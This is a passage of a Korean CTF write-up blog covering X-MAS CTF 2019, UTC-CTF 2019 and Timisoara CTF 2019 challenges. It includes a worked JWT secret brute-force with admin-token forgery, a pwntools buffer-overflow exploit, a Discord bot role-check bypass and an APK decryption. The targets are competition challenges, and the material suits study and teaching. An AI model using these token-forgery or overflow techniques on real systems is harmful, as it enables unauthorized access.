#FFC90E#000000#FFC90E#FFFFFF#FFFFFF#FFFFFF#FFFFFF#FFC90E#FFFFFF #FFC90E#FFC90E#FFC90E#FFC90E#FFC90E#FFC90E#FFC90E#FFFFFF#FFFFFF #FFFFFF#FFFFFF#FFC90E#FFC90E#FFC90E#FFC90E#FFC90E#FFFFFF#FFFFFF #FFFFFF#FFFFFF#FFC90E#FFC90E#FFC90E#FFC90E#FFC90E#FFFFFF#FFFFFF #FFFFFF#FFFFFF#FFFFFF#FFC90E#FFFFFF#FFC90E#FFFFFF#FFFFFF#FFFFFF

 

 

Bigtree/ has 29,185 items, totalling 116.2 MB.

 

수많은 폴더에 jpg 파일들이 숨어있다.

 

To gather .jpg files in one folder, I used find & exec command.

 

bigtree$ find . -type f -name "*.jpg" -exec mv {} ./flag \;

 

All of .jpg files move to ./flag/

 

Now, easily find flag file which has different file size.

 

flag file : 2.2KB

others : 1.5KB, 1.7KB

 

반응형

'CTF Write Up' 카테고리의 다른 글

angstrom CTF 2020 write up  (0) 2020.03.14
UTCTF 2020 Write up  (0) 2020.03.07
Christmas CTF 2019 Write-up 문제 풀이  (2) 2019.12.30
UTC-CTF 2019 Teaser write-up  (0) 2019.12.22
X-MAS CTF 2019 X-MAS Helper write-up  (0) 2019.12.21
반응형

https://x-mas.aleph.kr/

 

 

Weathering_With_You{Kato_Megumi}팀에서 문제를 풀었습니다.

 

 

Strange Elephpant (misc)

Something wrong happened to my cute elephpant.. :(

 

 

코끼리와 가위바위보를 하면 된다.

 

 

 

코끼리가 낸 가위 바위 보를 보고 조건에 맞춰서 가위 바위 보를 내면 된다. 제한시간은 2초.

어딘가 잘못된 PHP 코끼리에게 져 주세요!

어딘가 잘못된 PHP 코끼리와 비겨주세요!

어딘가 잘못된 PHP 코끼리를 이겨주세요!

 

 

 

 

문제를 손으로 풀려는 시도를 하던 중에 한 가지 사실을 알아 낼 수 있었다.

 

새로고침을 계속 해도

1. 이긴 라운드의 수는 초기화되지 않는다.
2. 제한시간은 초기화된다.
(마지막으로 새로고침한 시점 이후 2초가 지나야 time out. 새로고침을 2초 이상 해도 상관이 없다.)
3. 코끼리와 조건만 바뀔 뿐

 

 

이를 이용해서, 조건이 '비겨주세요'가 나올 때 까지 무한 새로고침해서 코끼리가 낸 것을 보고 그대로 내주면 된다.

이 과정을 100번해서 플래그를 얻을 수 있었다. (하고 나면 손이 저린다.)

 

 

 

FLAG : XMAS{k0ggiri_ahjeossi_neun_k0ga_son_irae}

코끼리 아저씨 는 코가 손 이래

 

 

 

 


 

 

JWT (web)

Plz crack jwt

 

 

소스코드 파일도 제공되었다.

 

 

src/routes/bruth.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
const { UserBruth, BoardBruth } = require('../sequelize');
 
const jwt = require('jsonwebtoken');
const express = require('express');
const router = express.Router();
 
const CONF = require('../config');
const { wrap, getHash } = require('../func');
 
router.use(express.static(`${__dirname}/../static/bruth`));
 
router.use((req, res, next) => {
  const token = req.cookies.token_b;
  if (token) {
    jwt.verify(token, CONF.jwt.bruth.key, CONF.jwt.bruth.options, (err, decoded) => {
      if (err) {
        if (err.name === 'TokenExpiredError') {
          return res.send({ code: 401, msg: '토큰이 만료되었습니다' });
        } else if (err.name === 'JsonWebTokenError') {
          return res.send({ code: 401, msg: '토큰에 에러가 있습니다' });
        } else {
          return res.send({ code: 401, msg: "토큰 인증 절차에 오류가 발생했습니다", err: err.message });
        }
      } else {
        req.auth = decoded;
        next();
      }
    });
  } else {
    next();
  }
});
 
router.post('/join', wrap(async (req, res) => {
  const { username, password } = req.body;
 
  if (!username || !password) return res.send({ code: 400 });
 
  const u = await UserBruth.findOne({
    where: { username },
    attributes: ['id'],
  });
  if (u) return res.send({ code: 423 });
 
  const user = await UserBruth.create({
    username,
    password: getHash(password)
  });
 
  res.send({ code: 200, id: await user.get('id') });
}));
 
router.post('/login', wrap(async (req, res) => {
  const { username, password } = req.body;
 
  if (!username || !password) return res.send({ code: 400 });
 
  const user = await UserBruth.findOne({
    where: {
      username,
      password: getHash(password)
    },
    attributes: ['id'],
  });
  if (!user) return res.send({ code: 404 });
 
  const token = jwt.sign(
    {
      uid: user.id,
      isAdmin: false
    },
    CONF.jwt.bruth.key,
    CONF.jwt.bruth.options
  );
  res.cookie('token_b', token, { httpOnly: true });
  res.send({ code: 200 });
}));
 
router.get('/logout', (req, res) => {
  res.cookie('token_b''', { maxAge: Date.now() });
  res.redirect('.');
});
 
router.get('/me', needAuth, wrap(async (req, res) => {
  const { uid } = req.auth;
 
  const user = await UserBruth.findOne({ where: { id: uid }, attributes: ['username'] });
  if (!user) return res.send({ code: 500 });
 
  res.send({ code: 200, username: user.username });
}));
 
router.get('/flag', wrap(async (req, res) => {
  if (!req.auth) return res.send({ code: 401 });
  if (!req.auth.isAdmin) return res.send({ code: 403 });
 
  res.send({ code: 200, flag: CONF.flag.bruth });
}));
 
function needAuth(req, res, next) {
  if (!req.auth) return res.send({ code: 401 });
  next();
}
 
module.exports = router;
cs

 

 

 

93행을 보면, /flag로 접근하면

 

로그인이 되어 있는지 검증 (94행)

isAdmin값이 True인지 검증 (95행)  을 해서 flag를 준다.

 

 

 

isAdmin은 로그인시 jwt token값에 들어간다. (70행)

 

해당 토근 값은 로그인 후, token_b 쿠키값에서 확인할 수 있다.

 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM

 

 

 

 

 

 

jwt는 .으로 구분되며 header.payload.signature 와 같은 구조를 하고 있다.

 

 

 

아래 사이트에서 내용을 평문으로 확인 할 수 있다. (base64로 봐도 된다.)

https://jwt.io/

 

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

 

 

isAdmin이 Fasle로 되어 있는데 True로 바꿔주면 된다.

 

 

 

그러나 그냥 바꾸게되면 signature 부분 때문에 효력이 없어진다.

 

payload를 바꾸고 서명까지 완벽하게 하기 위해서는 secret값이 필요하다.

 

 

 

 

 

src/config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const fs = require('fs');
 
module.exports = {
  http: {
    port: 8011,
    flagPort: 8012,
  },
  https: {
    use: false,
    port: 443,
    key: './src/ssl/private.key',
    cert: './src/ssl/certificate.crt',
  },
  db: {
    host: 'mysql',
    port: '3306',
    database: '',
    user: '',
    password: '',
  },
  jwt: {
    bruth: {
      key: '********'// 0~9, 8 length
      options: {
        issuer: 'c2w2m2',
        expiresIn: '1d',
        algorithm: 'HS256',
      }
    },
    csrf: {
      key: {
        private: fs.readFileSync('./keys/private.key'),
        public: fs.readFileSync('./keys/public.key'),
      },
      options: {
        issuer: 'c2w2m2',
        expiresIn: '1h',
        algorithm: 'RS256',
      },
    },
  },
  flag: {
    bruth: '',
    csrf: '',
  },
  hashSort: '',
  password: '',
}
 
cs

23행을 보면 key값은 0~9로 이루어진 8자리라는 힌트를 얻을 수 있다.

 

 

 

 

 

 

 

 

 

 

key값을 구하기 위해 brute force attack을 사용했다.

 

 

0. crunch로 사전 파일을 생성한다.

 

$crunch 8 8 1234567890 -o ./pw.txt

 

최소길이 8, 최대길이 8, 조합1234567890, output

 

 

 

 

1. jwtcat을 이용하여 brute force attack

 

https://github.com/aress31/jwtcat

 

aress31/jwtcat

JSON Web Token (JWT) cracker. Contribute to aress31/jwtcat development by creating an account on GitHub.

github.com

 

 

$ python3 jwtcat.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q -w ./pw.txt
[INFO] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q 
[INFO] Wordlist: ./pw.txt 
[INFO] Starting brute-force attacks
[WARNING] Pour yourself some coffee, this might take a while...
[INFO] Secret key: 40906795 
[INFO] Secret key saved to location: jwtpot.potfile 
[INFO] Finished in 2233.2587053775787 sec

Ryzen 1700의 16개 쓰레드중 3개 사용(가상머신)하여 37분 소요됐다. (중간진행상황을 안보여줘서 불편..)

 

 

 

 

2. jwt-tool을 이용해서 토큰의 내용을 수정해준다.

 

https://github.com/ticarpi/jwt_tool

 

ticarpi/jwt_tool

:snake: A toolkit for testing, tweaking and cracking JSON Web Tokens - ticarpi/jwt_tool

github.com

 

$ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\ 
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
 Version 1.3.2                \______|                           


=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = HS256
[+] typ = JWT

Token payload values:
[+] uid = 120
[+] isAdmin = False
[+] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[+] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[+] iss = c2w2m2

Seen timestamps:
[*] iat was seen
[+] exp is later than iat by: 1 days, 0 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################
#  Options:                                            #
#                ==== TAMPERING ====                   #
#  1: Tamper with JWT data (multiple signing options)  #
#                                                      #
#             ==== VULNERABILITIES ====                #
#  2: Check for the "none" algorithm vulnerability     #
#  3: Check for HS/RSA key confusion vulnerability     #
#  4: Check for JWKS key injection vulnerability       #
#                                                      #
#            ==== CRACKING/GUESSING ====               #
#  5: Check HS signature against a key (password)      #
#  6: Check HS signature against key file              #
#  7: Crack signature with supplied dictionary file    #
#                                                      #
#            ==== RSA KEY FUNCTIONS ====               #
#  8: Verify RSA signature against a Public Key        #
#                                                      #
#  0: Quit                                             #
########################################################

Please make a selection (1-6)
> 1

====================================================================
This option allows you to tamper with the header, contents and 
signature of the JWT.
====================================================================

Token header values:
[1] alg = HS256
[2] typ = JWT
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] uid = 120
[2] isAdmin = False
[3] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of isAdmin is: False
Please enter new value and hit ENTER
> True
[1] uid = 120
[2] isAdmin = True
[3] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature

Please select an option from above (1-5):
> 1

Please enter the known key:
> 40906795

Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4

config.js를 보면 HS256으로 되어 있기 때문에 HMAC-SHA256을 선택해준다.

 

 

 

 

 

새로운 토큰값으로 쿠키를 바꾸고 /flag로 접근하면 flag가 표시된다.

 

{"code":200,"flag":"XMAS{bru73-f0rc3-jw7_^^7}"}

 

반응형

'CTF Write Up' 카테고리의 다른 글

UTCTF 2020 Write up  (0) 2020.03.07
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
UTC-CTF 2019 Teaser write-up  (0) 2019.12.22
X-MAS CTF 2019 X-MAS Helper write-up  (0) 2019.12.21
THE HACKING CHAMPIONSHIP JUNIOR 2019 FINAL Write-up  (0) 2019.12.10
반응형

https://ctftime.org/event/948

 

UTC-CTF 2019 Teaser

금요일, 20 12월 2019, 23:00 UTC — 토요일, 21 12월 2019, 23:00 UTC  On-line A UTC-CTF event. Format: Jeopardy  Official URL: https://utc-ctf.club/ Future weight: 0.00  Rating weight: 0.00  Event organizers 

ctftime.org


PWN

Simple bof (baby)

Want to learn the hacker's secret? Try to smash this buffer!

You need guidance? Look no further than to Mr. Liveoverflow. He puts out nice videos you should look if you haven't already

By: theKidOfArcrania

nc chal.utc-ctf.club 35235

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
 
void print_flag();
 
void vuln() {
  char padding[16];
  char buff[32];
  int notsecret = 0xffffff00;
  int secret = 0xdeadbeef;
 
  memset(buff, 0sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFFsizeof(padding)); // Zero-out the padding.
 
  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 
 
  // Prints out the stack before modification
  visualize(buff);
 
  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!
 
  // Prints out the stack after modification
  visualize(buff); 
 
  // Check if secret has changed.
  if (secret == 0x67616c66) {
    puts("You did it! Congratuations!");
    print_flag(); // Print out the flag. You deserve it.
    return;
  } else if (notsecret != 0xffffff00) {
    puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }
 
  exit(0);
}
 
int main() {
  safeguard();
  vuln();
}
 
cs

 

정말 친절한 bof 문제다..

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("chal.utc-ctf.club"35235)
 
= 0x67616c66
payload = "A"*48 + p32(a)
 
p.recvuntil("Input some text: ")
p.sendline(payload)
p.interactive()
cs

 

 

FLAG : utc{buffer_0verflows_4re_c00l!}

 

 


Crypto

 

RSAcue [not solved]

I heard you like to RSAcue the world. There we go

By: knapstack

 

 

공개키로 publickey.pem이 주어졌다.

 

여기서 n값을 구해내보자! (openssl)

https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key

 

RSA: Get exponent and modulus given a public key

I need to encrypt some data using RSA in JavaScript. All of the libraries around ask for an exponent and a modulus, yet I get a single public.key file from my opponent. How do you retrieve the pu...

stackoverflow.com

 

깔끔하게 보는 방법도 나와 있다.

 

 

 

 


MISC

 

 

Optics 1 (baby)

 

I dropped out of my physics class due to boring optical theory. I joined Forensics class thereafter. But, I found Optics there too. Help me clear this class :facepalm:

By: knapstack

 

 

png 파일이 하나 주어지는데, 열려고 하면 열리지 않는다.

 

Hxd로 열어보면 header signuature가 잘못 설정되어 있는 것을 알 수 있다.

 

0x1~0x3이 LOL로 되어 있는데 이를 PNG로 바꿔주면 파일이 정상적으로 열린다.

0x50 0x4e 0x47

 

QR코드 이미지가 나오는데, 이를 스캔해주면 flag가 나온다.

 

 

FLAG: utc{dang_you_know_qr_decoding_and_shit}

 


Sanity Check

 

Join our discord and get a free flag.

 

 

와 공짜 플래그

 

FLAG : utc{whats_discord_lol}

 


REVERSING

 

Strings (baby)

 

Itz not giving me flag...

GIMMME THE FLAG

By: theKidOfArcrania

 

 

strings 라는 파일이 주어진다.

 

 

HxD로 열어보면 ELF 헤더 시그니쳐를 확인 할 수 있다.

Open with HxD, you can find ELF header signature.

So, this file's format is ELF.

 

 

 

 

 

그리고 exeinfo PE를 통해 64bit elf 라는 것도 알 수 있다.

 

 

64bit elf 파일이기 때문에, ida 64bit로 연다.

 

문제 제목이 strings이기 때문에, 문자열들을 확인해 주면 된다.

Check out strings!

 

 

main함수에는 fake flag가 있다.

you can find fake flag in main FUNC.

 

 

 

 

real flag는 여기서 찾을 수 있다.

Real flag is in here!

 

 

FLAG : utc{that_waz_ezpz}


 

 

 

 

 

 

 

 

반응형
반응형

https://ctftime.org/event/926

 

X-MAS CTF 2019

1. 3 Months ProLab voucher or 1 year HackTheBox VIP subscription (you choose) 2. 2 Months ProLab voucher or 1 year HackTheBox VIP subscription (you choose) 3. 1 Month ProLab voucher or 1 year HackTheBox VIP subscription (you choose) Top 3 teams also receiv

ctftime.org

X-MAS Helper

 

As organizers of X-MAS CTF, we are using bots to ensure that the competition keeps running smoothly. We have made this Discord bot: X-MAS Helper#2918 to help us check the flags for various challenges by using the !flag command. This command is safe to use because the bot actively checks if the requesting user has the Organizer role assigned, so regular participants can't access the flags.

We're so sure that the code is secure, that we're willing to share the part that checks the role:

 

Code:

if (message.content == "!flag"):

ok = False

for role in message.author.roles:

if (role.name == "Organizer"):

ok = True

if (ok):

printer = "The flag is: **{}**".format (FLAG)

else:

printer = "Unauthorized."


Author: Milkdrop
Note: The music bot (FredBoat) and MicroBot are not part of this challenge. Do not try to exploit them.

 

 

 

 

 

디스코드 봇을 활용한 문제다.

 

!flag 라고 메세지를 보내면 역할 이름을 확인해서 flag를 보내준다.

 

 

내 역할 이름이 Organizer 이어야 하는데 해당 봇이 있는 X-MAS CTF 디스코드 채널에서 내 역할은 아무것도 없다.

 

그래서 해당 채널에서 아무리 !flag를 보내봐야 플래그를 주지 않는다.

 

 

 

flag를 얻는 방법은 간단하다. 내 역할 이름이 Organizer가 되면 된다!

 

디스코드 봇은 client id만 알면 내 서버로 초대를 할 수가 있다.

 

직접 서버를 파서 봇을 초대한 뒤에 역할도 만들어서 !flag를 보내면 봇이 flag를 보내준다.

 

 

 

디스코드 봇 초대링크:

https://discordapp.com/oauth2/authorize?clinet_id=****&scope=bot

 

 

 

client id는 쉽게 구할 수 있다.

 

디스코드 앱에서 > 톱니바퀴 > 디스플레이 > 고급 > 개발자 모드 활성화

 

해당 봇 우클릭 > ID 복사하기

 

 

위 링크에서 ****대신에 id 입력!

 

 

 

 

 

EZ

 

 

 

반응형
반응형

대구정보보안컨퍼런스에서 했던 해킹대회 본선 문제풀이이다.

 

대회를 한지 벌써 1달이 지나가는데.. 풀이를 블로그에 안 올렸었다는 것을 지금 알았다.

 

근데 한 문제 밖에 풀이가 없다 ㅇㅅㅇ

 

게다가 풀이도 간단

 

 

 

 

 

 

 

 

 

팀명: 스틸리언입사예정명단.tar.gz

 

 

 

 

 

 

 

 

 

 

 

안드로이드 apk가 주어진 문제였다.

 

 

푸는 과정은 이러했다. 정석대로 풀면 된다. (오히려 문제 지문 + 힌트로 인해 혼란스러웠었음.)

 

apk파일에서 classes.dex 파일 추출

-> dex2jar을 이용해 jar로 바꾸기

-> jd-gui로 열어서 소스 확인하기

-> 암호화된 파일 찾기

-> 복호화 (AES)

 

 

 

 

 

apk파일을 압축을 풀어보면 classes.dex라는 파일이 있다.

 

해당 파일을 dex2jar을 이용해서 jar로 바꿔준다.

 

바꾼 jar 파일을 jd-gui.exe로 연다.

 

 

 

 

 

 

 

힌트 전부 무시.

 

어떤 작업들을 하는지 확인하기 위해서

 

startService(new Intent(this, RecordManager.class));

 

에 있는 RecordManager.class 로 이동

 

 

 

 

 

filez()함수를 보면 FL46.3gp 가 보이며, 플래그와 연관되어 있는 부분임을 알 수 있다.

 

 

ERROR라는 이름을 가진 파일을 열어서, 바이트를 가져와서, 디코딩을 해서, FL46.3gp에 저장한다.

 

디코딩/복호화에 decodeFile()함수를 사용하였으며, 1번째 인자에 key를 2번째 인자에 바이트 배열이 들어감을 알 수 있고, 암복호화방식은 AES/ECB/PKCS5Padding 를 사용하였음을 확인할 수 있다.

 

따라서 복호화에 사용될 키는 "ABABACADAEAFADAD" 이다.

 

 

 

 

 

복호화에 아래 사이트를 사용했다.

https://www.devglan.com/online-tools/aes-encryption-decryption

 

Online Tool for AES Encryption and Decryption

AES encryption and decryption online tool for free.It is an aes calculator that performs aes encryption and decryption of image, text and .txt file in ECB and CBC mode with 128, 192,256 bit. The output can be base64 or Hex encoded.

www.devglan.com

 

 

 

복호화할 데이터를 base64형태로 받게 했다.

 

 

 

 

 

 

ERROR파일은 apk파일 내에 asset 폴더 안에 있었다.

ERROR파일 내용을 hex값으로 긁어서 아래 사이트에서 base64로 변환했다.

 

https://www.branah.com/ascii-converter

 

ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.

www.branah.com

hex란에서 Remove 0x를 체크한뒤에 붙여넣고,  ASCII란에서 Remove spaces로 공백제거

그 다음 base64란에서 값 복사후 복호화 사이트에 붙여넣기.

 

 

 

 

Key란에 ABABACADAEAFADAD 입력.

 

 

복호화.

 

 

base64문자열이 나오게 된다. 이를 다시 위 사이트에서 ascii로 바꿔주면 flag가 나온다.

 

Lifeis4longle55oninhumili7y

반응형
반응형

Timisoara CTF 2019 Write-up

TEAM : WTB

 

 

제출했던 풀이 보고서(영문): write-up:

Timisoara_CTF_2019_Quals_Write-up_WTB.docx
4.40MB

 

 

아래는 제가 푼 문제 + a 들의 풀이입니다. (곧 세부설명 수정)

 

CRYPTO

Baby Crypto (50pts) 

This file seems... odd

 

Otil bw amm gwc uilm qb! Emtkwum bw bpm ewvlmznct ewztl wn kzgxbwozixpg! Pmzm qa gwcz zmeizl: BQUKBN{Rctqca_Kimaiz_e0ctl_j3_xzwcl}

 

카이사르 돌리면 된다.

 

 

Proof of work (100pts)

 

While developing an anti-bot system we thought of a system to test if the users are indeed human. You need to enter a string whose SHA256 has the last 7 digits 0. As this hash is secure you need to use some processing power, thus denying spam. Sort of like mining bitcoin.

 

0부터 1씩 증가시켜서 전부 sha256을 돌린다.

돌려서 끝에 7자리가 0인 것을 뽑아내면 된다.

 

python3는 느리기 때문에 pypy3를 설치해서 사용했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
 
= 0
while True:
    string = str(i)
    encoded_string = string.encode()
    hexdigest = hashlib.sha256(encoded_string).hexdigest()
    if "0000000" in str(hexdigest):
        print(str(i) +": " +hexdigest)
    i = i +1
 
#365512095
#TIMCTF{9e13449f334ded947431aa5001c2e9ab429ab5ddf880f416fe352a96eb2af122}
cs

 

10분이상 돌렸던 것 같다.

 

 

Alien Alphabet (150pts) 

I found this strange text. It is written in some strange alphabet. Can you decode it?

 

직접 문자에 알파벳 치환시켜서 빈도분석.

 

 

Password breaker (150pts) 

I heard you were good at cracking passwords!

Hint! What are the most common attacks on a password? Dictionary and bruteforce

Hint! If it takes more than a few minutes you're doing it wrong.

 

1. 사전공격

2. 브포공격

 

 

TimCTF gamblig service (200pts) 

Predict the next number to win. Are you that lucky?

시간기반 랜덤값

pipe 2개 연결해서 하나는 값을 받고 하나는 받은 값을 그대로 보내버리면 됨.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote("89.38.208.143"21023)
p2 = remote("89.38.208.143"21023)
p.recvuntil(": ")
p.sendline("1")
 
p2.recvuntil(": ")
p2.sendline("2")
 
= p.recvline()
p.close()
p2.sendline(n)
 
p2.interactive()
 
cs

 

 

Strange cipher (250pts) 

I have found this strange encryption service. Can you decode it?

 

한 글자씩 hex값을 맞춰가면 됨.

 

 

Forensics

Deleted file (100pts) 

Help! I accidentally deleted a photo! Can you recover it for me please?

Non-standard flag format

 

png 시그니쳐 찾아서 카빙

 

 

Strange image (100pts) 

I received this "image" in my mailbox today, but I can not open it, as if it was corrupted or something. Can you fix it and tell me if it has any hidden meaning?

Note: if you think you "fixed" it and it does not open, try using a few different photo viewers.

Hint! When you 'fix' your image make sure you try multiple photo viewers as some might not want to display it

 

 xor 0x7a 연산을 하면 복구가 됨.

 

script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import binascii
import re
 
fd = open("john.png""rb")
dat = fd.read()
data = binascii.b2a_hex(dat)
datas = re.findall(r'..',data)
 
red = ""
for i in range(0len(datas)):
    bit = eval("0x"+str(datas[i])+" ^ 0x7a")
    rad = str(hex(bit))
    if len(rad) == 3 :
        rad = rad.replace("0x""0x0")
        red += rad
    else :
        red += str(hex(bit))
print red
bin_ = ""
for j in range(0len(red), 4):
    binary_d = str(red[j:j+4])
    binary_d = binary_d.replace("0x""")
    bin_ += "\\x"+binary_d
 
fh = open("image.png""wb")
eval("fh.write(b'"+bin_+"')")
fh.close()
 
cs

 

스테가노 사이트()에서 문자열만 보면, fl4g 찾을 수 있음.

: 오른쪽 부분을 특수문자까지 같이 rot 돌리면 플래그가 나옴. https://www.dcode.fr/rot-cipher

 

 

 

Tri-color QR (200pts) 

I stumbled upon this strange QR code which seems to be in a new format. Can you help me decode it?\

 

stegsolve.jar로 3개 뽑아낼 수 있음.

그리고 hxd로 열었을때 푸터 시그니쳐 뒤에 PK 시그니쳐 확인 가능.

뽑아내서 압축 풀면 4번째 부분을 구할 수 있음.

 

 

 

Programming

Subset sum (200pts) 

You are given a number n and an array. Find those elements from the array that sum to the given number.

Number of tests: 10
Size of the array: 4 - 40 (+4 per level)
Input data type: 64 bit unsigned ints
Input formatting: 2 lines of text, a line containing n and a line containg the array.
Output formatting: the size of the subset and the elements of the subset, separated by a space
Time limit: 3s

 

야매로 푼 문제.

 

합이 나오면, 그 합이 되는 원소랑 개수를 구해서 보내는 거 같은데, 1과 그 합을 그대로 보내보니까 통과가 되서 그냥 간단 스크립트 짜서 품.

 

 

Reverse Engineering

 

Baby Rev (50pts) 

This program asks me for the flag, but i don't know it!

 

IDA

 

Easy Rev (75pts) 

Like the last one, but harder

 

IDA

 

Math (150pts) 

This executable is doing MATH. Everyone hates that so it must be hard to reverse

 

IDA로 까면 플래그 인코딩 연산 하는 부분이 있는데 이 부분을 그대로 파이썬으로 옮겨서 브포를 돌렸다.

완전자동화로 코드 짜다가 귀찮아서 그냥 반 노가다로 풀었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def solv(input, q, p):
    key = 14335727
    base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    flag = "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcbX7MPv" #44
    cipher = "0"*44
    cipher = list(cipher)
 
    v7 = 0
    v5 = 0
    for i in range(0len(input), 3):
        if i > len(input)-3:
            break;
 
        v6 = key ^ (ord(input[i + 2]) | ((ord(input[i + 1]) | (ord(input[i]) << 8)) << 8))
 
        for j in range(03):
            try:
                str(input[i+j])
            except :
                v5 =1
